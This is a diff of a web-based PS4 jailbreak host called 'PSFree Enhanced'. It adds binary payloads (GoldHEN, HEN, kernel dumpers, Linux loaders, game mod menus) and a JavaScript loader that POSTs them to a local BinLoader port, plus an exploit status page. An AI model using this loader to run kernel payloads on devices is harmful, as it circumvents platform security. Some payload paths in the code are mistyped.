2.693 1.115l.291-.16c.764-.415 1.6.42 1.184 1.185l-.159.292a1.873 1.873 0 0 0 1.116 2.692l.318.094c.835.246.835 1.428 0 1.674l-.319.094a1.873 1.873 0 0 0-1.115 2.693l.16.291c.415.764-.42 1.6-1.185 1.184l-.291-.159a1.873 1.873 0 0 0-2.693 1.116l-.094.318c-.246.835-1.428.835-1.674 0l-.094-.319a1.873 1.873 0 0 0-2.692-1.115l-.292.16c-.764.415-1.6-.42-1.184-1.185l.159-.291A1.873 1.873 0 0 0 1.945 8.93l-.319-.094c-.835-.246-.835-1.428 0-1.674l.319-.094A1.873 1.873 0 0 0 3.06 4.377l-.16-.292c-.415-.764.42-1.6 1.185-1.184l.292.159a1.873 1.873 0 0 0 2.692-1.115l.094-.319z"/> </svg></div>
|
||||
<div>
|
||||
<h3 class="text-start font-semibold text-white text-lg">${payload.name}</h3>
|
||||
<p class="text-start text-cyan-300 text-sm">${payload.version}</p>
|
||||
</div>
|
||||
</div>
|
||||
${payload.isRecommended ? `<span class="px-2 py-1 rounded-full text-xs border">${languages[currentLanguage] ? languages[currentLanguage].recommendedLabel : 'Recommended'}</span>` : ''}
|
||||
<span class="px-2 py-1 rounded-full text-xs border ${getPayloadCategoryClass(payload.category)}">
|
||||
${payload.category}
|
||||
</span>
|
||||
</div>
|
||||
<p class="text-start text-white/70 text-sm leading-relaxed">${payload.description}</p>
|
||||
<div class="flex items-center justify-between text-xs text-white/60">
|
||||
</div>
|
||||
</div>
|
||||
</button>
|
||||
`;
|
||||
switch (payload.category) {
|
||||
case "tools":
|
||||
ui.toolsSection.appendChild(payloadCard);
|
||||
break;
|
||||
case "games":
|
||||
ui.gamesSection.appendChild(payloadCard);
|
||||
break;
|
||||
case "linux":
|
||||
ui.linuxSection.appendChild(payloadCard);
|
||||
break;
|
||||
default:
|
||||
ui.toolsSection.appendChild(payloadCard);
|
||||
break;
|
||||
}
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
// Handling cache
|
||||
function DLProgress(e) {
|
||||
Percent = (Math.round(e.loaded / e.total * 100));
|
||||
document.title = languages[currentLanguage].title + " " + Percent + "%";
|
||||
}
|
||||
function DisplayCacheProgress() {
|
||||
setTimeout(function () {
|
||||
document.title = "\u2713";
|
||||
}, 1000);
|
||||
setTimeout(function () {
|
||||
window.location.href =
|
||||
document.referrer;
|
||||
}, 3000);
|
||||
}
|
||||
BIN
includes/payloads/Bins/Dumper/appdumper.bin
Normal file
BIN
includes/payloads/Bins/Dumper/appdumper.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Dumper/kerneldumper.bin
Normal file
BIN
includes/payloads/Bins/Dumper/kerneldumper.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Dumper/moduledumper.bin
Normal file
BIN
includes/payloads/Bins/Dumper/moduledumper.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Dumper/ps4-dumper-vtx-900.bin
Normal file
BIN
includes/payloads/Bins/Dumper/ps4-dumper-vtx-900.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.27-rfoodxmodz.bin
Normal file
BIN
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.27-rfoodxmodz.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.32-rfoodxmodz.bin
Normal file
BIN
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.32-rfoodxmodz.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.33-rfoodxmodz.bin
Normal file
BIN
includes/payloads/Bins/GTA/ArabicGuy-1.0-1.33-rfoodxmodz.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/BeefQueefMod-1.33.bin
Normal file
BIN
includes/payloads/Bins/GTA/BeefQueefMod-1.33.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/BeefQueefMod-1.34.bin
Normal file
BIN
includes/payloads/Bins/GTA/BeefQueefMod-1.34.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/BeefQueefMod-1.38.bin
Normal file
BIN
includes/payloads/Bins/GTA/BeefQueefMod-1.38.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/WildeModz-1.32.bin
Normal file
BIN
includes/payloads/Bins/GTA/WildeModz-1.32.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/WildeModz-1.33.bin
Normal file
BIN
includes/payloads/Bins/GTA/WildeModz-1.33.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/GTA/WildeModz-1.38.bin
Normal file
BIN
includes/payloads/Bins/GTA/WildeModz-1.38.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-2gb.bin
Normal file
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-2gb.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-3gb.bin
Normal file
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-3gb.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-4gb.bin
Normal file
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-4gb.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-5gb.bin
Normal file
BIN
includes/payloads/Bins/Linux/LinuxLoader-900-5gb.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Linux/LinuxLoader-900.bin
Normal file
BIN
includes/payloads/Bins/Linux/LinuxLoader-900.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.00-FREE.bin
Normal file
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.00-FREE.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.13-FREE.bin
Normal file
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.13-FREE.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.19-FREE.bin
Normal file
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.19-FREE.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.24-FREE.bin
Normal file
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.24-FREE.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.29-FREE.bin
Normal file
BIN
includes/payloads/Bins/RDR2/OystersMenu-1.29-FREE.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/Orbis-Toolbox-900.bin
Normal file
BIN
includes/payloads/Bins/Tools/Orbis-Toolbox-900.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/ToCex.bin
Normal file
BIN
includes/payloads/Bins/Tools/ToCex.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/ToDev.bin
Normal file
BIN
includes/payloads/Bins/Tools/ToDev.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/ToDex.bin
Normal file
BIN
includes/payloads/Bins/Tools/ToDex.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/ToKratos.bin
Normal file
BIN
includes/payloads/Bins/Tools/ToKratos.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/WebRTE_900.bin
Normal file
BIN
includes/payloads/Bins/Tools/WebRTE_900.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/app2usb.bin
Normal file
BIN
includes/payloads/Bins/Tools/app2usb.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/appcache-install.bin
Normal file
BIN
includes/payloads/Bins/Tools/appcache-install.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/backupdb.bin
Normal file
BIN
includes/payloads/Bins/Tools/backupdb.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/disableaslr.bin
Normal file
BIN
includes/payloads/Bins/Tools/disableaslr.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/disableupdates.bin
Normal file
BIN
includes/payloads/Bins/Tools/disableupdates.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/enable-browser.bin
Normal file
BIN
includes/payloads/Bins/Tools/enable-browser.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/enableupdates.bin
Normal file
BIN
includes/payloads/Bins/Tools/enableupdates.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/exitidu.bin
Normal file
BIN
includes/payloads/Bins/Tools/exitidu.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/ftp.bin
Normal file
BIN
includes/payloads/Bins/Tools/ftp.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/historyblocker.bin
Normal file
BIN
includes/payloads/Bins/Tools/historyblocker.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/permanent-uart.bin
Normal file
BIN
includes/payloads/Bins/Tools/permanent-uart.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/ps4debug.bin
Normal file
BIN
includes/payloads/Bins/Tools/ps4debug.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/pup-decrypt.bin
Normal file
BIN
includes/payloads/Bins/Tools/pup-decrypt.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/restoredb.bin
Normal file
BIN
includes/payloads/Bins/Tools/restoredb.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/rif-renamer.bin
Normal file
BIN
includes/payloads/Bins/Tools/rif-renamer.bin
Normal file
Binary file not shown.
BIN
includes/payloads/Bins/Tools/rifrenamer.bin
Normal file
BIN
includes/payloads/Bins/Tools/rifrenamer.bin
Normal file
Binary file not shown.
BIN
includes/payloads/GoldHEN/goldhen_2.3_702L.bin
Normal file
BIN
includes/payloads/GoldHEN/goldhen_2.3_702L.bin
Normal file
Binary file not shown.
BIN
includes/payloads/GoldHEN/goldhen_2.3_755L.bin
Normal file
BIN
includes/payloads/GoldHEN/goldhen_2.3_755L.bin
Normal file
Binary file not shown.
BIN
includes/payloads/GoldHEN/goldhen_2.4b18.3.bin
Normal file
BIN
includes/payloads/GoldHEN/goldhen_2.4b18.3.bin
Normal file
Binary file not shown.
BIN
includes/payloads/GoldHEN/goldhen_v2.4b18.5.bin
Normal file
BIN
includes/payloads/GoldHEN/goldhen_v2.4b18.5.bin
Normal file
Binary file not shown.
BIN
includes/payloads/HEN/HEN.bin
Normal file
BIN
includes/payloads/HEN/HEN.bin
Normal file
Binary file not shown.
11
includes/payloads/Jailbreak.js
Normal file
11
includes/payloads/Jailbreak.js
Normal file
@@ -0,0 +1,11 @@
|
||||
export function GoldHEN(ps4fw) {
|
||||
window.payload_path = "./includes/payloads/GoldHEN/goldhen_v2.4b18.5.bin";
|
||||
}
|
||||
|
||||
export function testGoldHEN() {
|
||||
window.payload_path = './includes/payloads/testing/goldhen_2.4b18.5_allfw_test.bin';
|
||||
}
|
||||
|
||||
export function HEN() {
|
||||
window.payload_path = './includes/payloads/HEN/HEN.bin';
|
||||
}
|
||||
285
includes/payloads/payloads.js
Normal file
285
includes/payloads/payloads.js
Normal file
@@ -0,0 +1,285 @@
|
||||
//------BIG THANKS TO SISTRO FOR THIS !!!!!--------
|
||||
|
||||
var getPayload = function(payload, onLoadEndCallback) {
|
||||
var req = new XMLHttpRequest();
|
||||
req.open('GET', payload);
|
||||
req.send();
|
||||
req.responseType = "arraybuffer";
|
||||
req.onload = function (event) {
|
||||
if (onLoadEndCallback) onLoadEndCallback(req, event);
|
||||
};
|
||||
}
|
||||
|
||||
var sendPayload = function(url, data, onLoadEndCallback) {
|
||||
var req = new XMLHttpRequest();
|
||||
req.open("POST", url, true);
|
||||
req.send(data);
|
||||
|
||||
req.onload = function (event) {
|
||||
if (onLoadEndCallback) onLoadEndCallback(req, event);
|
||||
};
|
||||
}
|
||||
|
||||
//Load payloads with GoldHEN
|
||||
|
||||
function Loadpayloadlocal(PLfile){ //Loading Payload via Payload Param.
|
||||
var PS4IP = "127.0.0.1";
|
||||
|
||||
// First do an initial check to see if the BinLoader server is running, ready or busy.
|
||||
var req = new XMLHttpRequest();
|
||||
if (PS4IP == "127.0.0.1") {
|
||||
req.open("POST", `http://${PS4IP}:9090/status`);
|
||||
} else {
|
||||
req.open("GET", `http://${PS4IP}:9090/status`);
|
||||
}
|
||||
req.send();
|
||||
req.onerror = function(){
|
||||
//alert("Cannot Load Payload Because The BinLoader Server Is Not Running");//<<If server is not running, alert message.
|
||||
//ServerStatus("Cannot Load Payload Because The BinLoader Server Is Not Running");
|
||||
import('../../src/alert.mjs');
|
||||
Loadpayloadonline(PLfile);
|
||||
return;
|
||||
};
|
||||
req.onload = function(){
|
||||
var responseJson = JSON.parse(req.responseText);
|
||||
if (responseJson.status=="ready"){
|
||||
getPayload(PLfile, function (req) {
|
||||
if ((req.status === 200 || req.status === 304) && req.response) {
|
||||
//Sending bins via IP POST Method
|
||||
sendPayload(`http://${PS4IP}:9090`, req.response, function (req) {
|
||||
if (req.status === 200) {
|
||||
//alert("Payload sent !");
|
||||
}else{
|
||||
//alert('Payload not sent !');
|
||||
setTimeout(() => {
|
||||
import('../../src/alert.mjs');
|
||||
Loadpayloadonline(PLfile);
|
||||
}, 3000); // 3 seconds delay
|
||||
return;
|
||||
}
|
||||
})
|
||||
}
|
||||
});
|
||||
} else {
|
||||
alert("Cannot Load Payload Because The BinLoader Server Is Busy");//<<If server is busy, alert message.
|
||||
return;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
//--------------------------------------------------
|
||||
|
||||
//------Payloads--------
|
||||
|
||||
// Load Payloads with exploit
|
||||
|
||||
function Loadpayloadonline(PLfile) {
|
||||
window.payload_path = PLfile;
|
||||
}
|
||||
|
||||
// Payloads
|
||||
|
||||
export function HEN(){
|
||||
Loadpayloadlocal("./includes/payloads/HEN/HEN.bin");
|
||||
}
|
||||
|
||||
// Dumpers
|
||||
|
||||
export function load_AppDumper(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Dumper/appdumper.bin");
|
||||
}
|
||||
|
||||
export function load_KernelDumper(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Dumper/kerneldumper.bin");
|
||||
}
|
||||
|
||||
export function load_VTXDumper(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Dumper/ps4-dumper-vtx-900.bin");
|
||||
}
|
||||
|
||||
export function load_ModuleDumper(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Dumper/moduledumper.bin");
|
||||
|
||||
}
|
||||
|
||||
|
||||
// Tools
|
||||
|
||||
export function load_PS4Debug(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/ps4debug.bin");
|
||||
}
|
||||
|
||||
export function load_App2USB(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/app2usb.bin");
|
||||
}
|
||||
|
||||
|
||||
export function load_BackupDB(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/backupdb.bin");
|
||||
}
|
||||
|
||||
export function load_RestoreDB(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/exitidu.bin");
|
||||
}
|
||||
|
||||
export function load_DisableASLR(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/disableaslr.bin");
|
||||
}
|
||||
|
||||
export function load_DisableUpdates(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/disableupdates.bin");
|
||||
}
|
||||
|
||||
export function load_EnableUpdates(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/enbaleupdates.bin");
|
||||
}
|
||||
|
||||
export function load_ExitIDU(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/exitidu.bin");
|
||||
}
|
||||
|
||||
export function load_FTP(){
|
||||
Loadpayloadlocal(".includes/payloads//Bins/Tools/ftp.bin");
|
||||
}
|
||||
|
||||
export function load_HistoryBlocker(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/historyblocker.bin");
|
||||
}
|
||||
|
||||
export function load_RIFRenamer(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/rifrenamer.bin");
|
||||
}
|
||||
|
||||
export function load_Orbis(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/Orbis-Toolbox-900.bin");
|
||||
}
|
||||
|
||||
export function load_WebrRTE(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/WebRTE_900.bin");
|
||||
}
|
||||
|
||||
export function load_ToDex(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/ToDex.bin");
|
||||
}
|
||||
|
||||
export function load_ToDev(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/ToDev.bin");
|
||||
}
|
||||
|
||||
export function load_ToKratos(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/ToKratos.bin");
|
||||
}
|
||||
|
||||
export function load_ToCex(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/ToCex.bin");
|
||||
}
|
||||
|
||||
export function load_KernelClock(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/kernel-clock.bin");
|
||||
}
|
||||
|
||||
export function load_PermanentUART(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/permanent-uart.bin");
|
||||
}
|
||||
|
||||
export function load_PUPDecrypt(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/pup-decrypt.bin");
|
||||
}
|
||||
|
||||
// Linux
|
||||
|
||||
export function load_Linux(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Linux/LinuxLoader-900.bin");
|
||||
}
|
||||
|
||||
export function load_Linux2gb(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Linux/LinuxLoader-900-2gb.bin");
|
||||
}
|
||||
|
||||
export function load_Linux3gb(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Linux/LinuxLoader-900-3gb.bin");
|
||||
}
|
||||
|
||||
export function load_Linux4gb(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Linux/LinuxLoader-900-4gb.bin");
|
||||
}
|
||||
|
||||
export function load_Linux5gb(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Linux/LinuxLoader-900-5gb.bin");
|
||||
}
|
||||
|
||||
|
||||
// Mod Menu
|
||||
|
||||
// GTA
|
||||
|
||||
export function load_GTAArbic127(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/ArabicGuy-1.0-1.27-rfoodxmodz.bin");
|
||||
}
|
||||
|
||||
export function load_GTAArbic132(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/ArabicGuy-1.0-1.32-rfoodxmodz.bin");
|
||||
}
|
||||
|
||||
export function load_GTAArbic133(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/ArabicGuy-1.0-1.33-rfoodxmodz.bin");
|
||||
}
|
||||
|
||||
|
||||
export function load_GTABQ133(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/BeefQueefMod-1.33.bin");
|
||||
}
|
||||
|
||||
export function load_GTABQ134(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/BeefQueefMod-1.34.bin");
|
||||
}
|
||||
|
||||
export function load_GTABQ138(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/BeefQueefMod-1.38.bin");
|
||||
}
|
||||
|
||||
export function load_GTAWM132(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/WildeModz-1.32.bin");
|
||||
}
|
||||
|
||||
export function load_GTAWM134(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/WildeModz-1.34.bin");
|
||||
}
|
||||
|
||||
export function load_GTAWM138(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/GTA/WildeModz-1.38.bin");
|
||||
}
|
||||
|
||||
// RDR2
|
||||
|
||||
export function load_Oysters100(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/RDR2/OystersMenu-1.00-FREE.bin");
|
||||
}
|
||||
|
||||
|
||||
export function load_Oysters113(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/RDR2/OystersMenu-1.13-FREE.bin");
|
||||
}
|
||||
|
||||
export function load_Oysters119(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/RDR2/OystersMenu-1.19-FREE.bin");
|
||||
}
|
||||
|
||||
export function load_Oysters124(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/RDR2/OystersMenu-1.24-FREE.bin");
|
||||
}
|
||||
|
||||
export function load_Oysters129(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/RDR2/OystersMenu-1.29-FREE.bin");
|
||||
}
|
||||
|
||||
// AppCache
|
||||
|
||||
export function load_AppCache(){
|
||||
Loadpayloadlocal("./includes/payloads/Bins/Tools/appcache-install.bin");
|
||||
}
|
||||
|
||||
// Testing tools
|
||||
export function load_ps4debugTest() {
|
||||
Loadpayloadlocal("./testing/ps4debug_v1.1.19.bin");
|
||||
}
|
||||
BIN
includes/payloads/testing/goldhen_2.4b18.5_allfw_test.bin
Normal file
BIN
includes/payloads/testing/goldhen_2.4b18.5_allfw_test.bin
Normal file
Binary file not shown.
BIN
includes/payloads/testing/ps4debug_v1.1.19.bin
Normal file
BIN
includes/payloads/testing/ps4debug_v1.1.19.bin
Normal file
Binary file not shown.
256
index.html
Normal file
256
index.html
Normal file
@@ -0,0 +1,256 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en" manifest="./PSFree.manifest">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>PSFree Enhanced</title>
|
||||
<link rel="stylesheet" href="./includes/index.css">
|
||||
</head>
|
||||
|
||||
<body class="bg-gray-900 text-white">
|
||||
<main class="mainContainer">
|
||||
<section id="initial-screen" class="relative flex flex-col items-center justify-center min-h-screen p-6 transition-opacity duration-700
|
||||
opacity-100">
|
||||
<!-- Header Buttons -->
|
||||
<header class="absolute top-6 left-6 flex space-x-3 rtl:space-x-reverse z-10">
|
||||
<button onclick="settingsPopup()" id="settings-btn"
|
||||
class="p-2 rounded-lg bg-gray-800 hover:bg-gray-700 transition-colors text-white/80 hover:text-white"
|
||||
title="Settings">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="25" fill="currentColor" class="bi bi-gear" viewBox="0 0 16 16"> <path d="M8 4.754a3.246 3.246 0 1 0 0 6.492 3.246 3.246 0 0 0 0-6.492zM5.754 8a2.246 2.246 0 1 1 4.492 0 2.246 2.246 0 0 1-4.492 0z"/> <path d="M9.796 1.343c-.527-1.79-3.065-1.79-3.592 0l-.094.319a.873.873 0 0 1-1.255.52l-.292-.16c-1.64-.892-3.433.902-2.54 2.541l.159.292a.873.873 0 0 1-.52 1.255l-.319.094c-1.79.527-1.79 3.065 0 3.592l.319.094a.873.873 0 0 1 .52 1.255l-.16.292c-.892 1.64.901 3.434 2.541 2.54l.292-.159a.873.873 0 0 1 1.255.52l.094.319c.527 1.79 3.065 1.79 3.592 0l.094-.319a.873.873 0 0 1 1.255-.52l.292.16c1.64.893 3.434-.902 2.54-2.541l-.159-.292a.873.873 0 0 1 .52-1.255l.319-.094c1.79-.527 1.79-3.065 0-3.592l-.319-.094a.873.873 0 0 1-.52-1.255l.16-.292c.893-1.64-.902-3.433-2.541-2.54l-.292.159a.873.873 0 0 1-1.255-.52l-.094-.319zm-2.633.283c.246-.835 1.428-.835 1.674 0l.094.319a1.873 1.873 0 0 0 2.693 1.115l.291-.16c.764-.415 1.6.42 1.184 1.185l-.159.292a1.873 1.873 0 0 0 1.116 2.692l.318.094c.835.246.835 1.428 0 1.674l-.319.094a1.873 1.873 0 0 0-1.115 2.693l.16.291c.415.764-.42 1.6-1.185 1.184l-.291-.159a1.873 1.873 0 0 0-2.693 1.116l-.094.318c-.246.835-1.428.835-1.674 0l-.094-.319a1.873 1.873 0 0 0-2.692-1.115l-.292.16c-.764.415-1.6-.42-1.184-1.185l.159-.291A1.873 1.873 0 0 0 1.945 8.93l-.319-.094c-.835-.246-.835-1.428 0-1.674l.319-.094A1.873 1.873 0 0 0 3.06 4.377l-.16-.292c-.415-.764.42-1.6 1.185-1.184l.292.159a1.873 1.873 0 0 0 2.692-1.115l.094-.319z"/> </svg>
|
||||
</button>
|
||||
<button onclick="aboutPopup()" id="about-btn"
|
||||
class="p-2 rounded-lg bg-gray-800 hover:bg-gray-700 transition-colors text-white/80 hover:text-white"
|
||||
title="About">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="25" fill="currentColor" viewBox="0 0 512 512"><title>ionicons-v5-f</title><path d="M256,56C145.72,56,56,145.72,56,256s89.72,200,200,200,200-89.72,200-200S366.28,56,256,56Zm0,82a26,26,0,1,1-26,26A26,26,0,0,1,256,138Zm64,226H200V332h44V244H212V212h64V332h44Z"/></svg> </button>
|
||||
</header>
|
||||
|
||||
<!-- PS Button -->
|
||||
<button>
|
||||
<div id="ps-logo-container"
|
||||
class="relative group cursor-pointer flex flex-col items-center justify-center p-8 rounded-full bg-white/5 hover:bg-white/10 transition-all duration-300 transform hover:scale-105">
|
||||
<svg id="ps-logo" class="w-32 h-32 transition-all duration-500 ease-in-out" viewBox="0 0 32 32"
|
||||
fill="rgb(59 130 246)" xmlns="http://www.w3.org/2000/svg">
|
||||
<g id="SVGRepo_iconCarrier">
|
||||
<path
|
||||
d="M0.69116 21.9548C-0.506476 22.7935 -0.284724 24.2384 2.44769 25.1419C5.18011 26.0455 8.35603 26.2323 11.1505 25.729C11.0707 25.729 11.3102 25.729 11.1505 25.729V22.8774L8.43588 23.8C7.39792 24.1355 6.35997 24.2194 5.32202 23.9677C4.5236 23.7161 4.68328 23.2129 5.64139 22.7935L11.1505 20.7806V17.6774L3.48565 20.4452C2.52754 20.7806 1.56943 21.2839 0.69116 21.9548ZM19.2146 9.37419V17.5097C22.4881 19.1871 25.0431 17.5097 25.0431 13.1484C25.0431 8.70323 23.5261 6.69032 19.1348 5.09677C16.8193 4.25806 14.4241 3.50323 12.0288 3V27.2387L17.6178 29V8.61935C17.6178 7.69677 17.6178 7.02581 18.2565 7.27742C19.1348 7.52903 19.2146 8.45161 19.2146 9.37419ZM29.5941 20.0258C27.2787 19.1871 24.8036 18.8516 22.4083 19.1032C21.0779 19.1906 19.8294 19.5869 18.5759 20.0258V23.2968L23.7656 21.2839C24.8036 20.9484 25.8415 20.8645 26.8795 21.1161C27.6779 21.3677 27.5182 21.871 26.5601 22.2903L18.5759 25.3935V28.5806L29.5941 24.3032C30.3925 23.9677 31.1111 23.5484 31.7499 22.8774C32.3088 22.0387 32.0692 20.8645 29.5941 20.0258Z">
|
||||
</path>
|
||||
</g>
|
||||
</svg>
|
||||
</div>
|
||||
<p class="text-white/70 text-lg mt-4" id="click-to-start-text">Click to start</p>
|
||||
</button>
|
||||
|
||||
<!-- Compatibility message -->
|
||||
<p id="PS4FW" class="text-white/70 text-lg mt-4 mb-6">-</p>
|
||||
|
||||
<!-- Jailbreak flavor options -->
|
||||
<div id="choosejb-initial" class="bg-gray-800 p-6 rounded-lg shadow-xl w-full max-w-sm text-center">
|
||||
<h3 class="text-xl font-semibold mb-4">Choose your HEN flavor</h3>
|
||||
<div class="flex flex-col sm:flex-row justify-center gap-4 sm:gap-8 rtl:gap-4 sm:rtl:gap-8">
|
||||
<label
|
||||
class="flex items-center px-4 py-2 rounded-lg bg-gray-700/60 hover:bg-gray-700 transition-colors cursor-pointer shadow border-2 border-transparent focus-within:border-blue-500 w-full sm:w-auto mb-2 sm:mb-0">
|
||||
<input type="radio" name="hen" value="GoldHEN" onchange="saveJbFlavor(this.name, this.value)"
|
||||
class="accent-blue-500 w-5 h-5 ml-3 focus:ring-2 focus:ring-blue-400">
|
||||
<span class="text-lg font-semibold text-white/90 select-none">GoldHEN</span>
|
||||
</label>
|
||||
<label
|
||||
class="flex items-center px-4 py-2 rounded-lg bg-gray-700/60 hover:bg-gray-700 transition-colors cursor-pointer shadow border-2 border-transparent focus-within:border-blue-500 w-full sm:w-auto">
|
||||
<input type="radio" name="hen" value="HEN" onchange="saveJbFlavor(this.name, this.value)"
|
||||
class="accent-blue-500 w-5 h-5 ml-3 focus:ring-2 focus:ring-blue-400">
|
||||
<span class="text-lg font-semibold text-white/90 select-none">HEN</span>
|
||||
</label>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Scroll Down Icon -->
|
||||
<button id="scrollDown" class="absolute bottom-10 animate-bounce cursor-pointer"
|
||||
onclick="ui.exploitScreen.scrollIntoView({block: 'end'});">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="30" fill="currentColor" viewBox="0 0 512 512"><polyline points="112 184 256 328 400 184"></polyline></svg>
|
||||
</button>
|
||||
</section>
|
||||
|
||||
<!-- Exploit section -->
|
||||
<section id="exploit-main-screen"
|
||||
class="w-full inset-0 bg-gray-900 text-white p-6 transition-opacity duration-700">
|
||||
<div class="container mx-auto" style="width: 100% !important;">
|
||||
<div class="grid md:grid-cols-2 gap-8 h-screen">
|
||||
<!-- Exploit console panel -->
|
||||
<div id="exploit-status-panel" class="bg-gray-800 p-6 rounded-lg flex flex-col h-full">
|
||||
<h2 class="text-xl font-semibold mb-4">Exploit status</h2>
|
||||
<div id="DebugConsole"
|
||||
class="flex-grow min-h-[150px] bg-black/50 p-4 rounded-lg overflow-y-auto mb-4 text-xs font-mono"
|
||||
dir="ltr">
|
||||
<pre id='console'><center>--</center></pre>
|
||||
</div>
|
||||
<div id="warningBox"
|
||||
